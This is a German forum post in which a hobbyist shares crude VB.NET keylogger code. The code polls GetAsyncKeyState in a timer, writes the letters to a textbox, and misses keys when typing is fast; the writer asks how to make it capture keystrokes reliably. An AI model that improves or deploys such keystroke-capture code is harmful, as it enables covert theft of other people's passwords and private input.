Ich brauche Hilfe also ich habe mir einen Keylogger gecodet nur ich habe da ein Kleines Problem der Keylogger kann nicht damit Umgehen wenn man schnell Tippt. Das liegt glaube ich darann das ich alle If abfragen in einen Timer gepackt habe.
Aber ich weiß nicht wie ich es sonst machen sollte.
Hier mal mein beispiel Code.
Code:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 0 To 255
If GetAsyncKeyState(i) = -32767 Then
Zahl = i
End If
Next
If Zahl = 65 And My.Computer.Keyboard.CapsLock Or Zahl = 65 And My.Computer.Keyboard.ShiftKeyDown Then
TextBox1.Text = TextBox1.Text + "A"
ElseIf Zahl = 65 Then
TextBox1.Text = TextBox1.Text + "a"
ElseIf Zahl = 66 And My.Computer.Keyboard.CapsLock Or Zahl = 66 And My.Computer.Keyboard.ShiftKeyDown Then
TextBox1.Text = TextBox1.Text + "B"
ElseIf Zahl = 66 Then
TextBox1.Text = TextBox1.Text + "b"
....
ElseIf Zahl = 90 And My.Computer.Keyboard.CapsLock Or Zahl = 66 And My.Computer.Keyboard.ShiftKeyDown Then
TextBox1.Text = TextBox1.Text + "Z"
ElseIf Zahl = 90 Then
TextBox1.Text = TextBox1.Text + "z"
End If
Hatte es auch schonmal anders.
Da sah es so aus.
Code:
For f = 1 To 255
If GetAsyncKeyState(65) = -32767 Then
If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
TextBox1.Text = TextBox1.Text + "A"
Else
TextBox1.Text = TextBox1.Text + "a"
End If
End If
Next
Dies habe ich dann für jeden Buchstaben gemacht und immer 3 in einen Timer gesteckt. Aber das hat Irgendwann auch nichtmehr Funktioniert.
Aber besser als das obere.
MfG Navan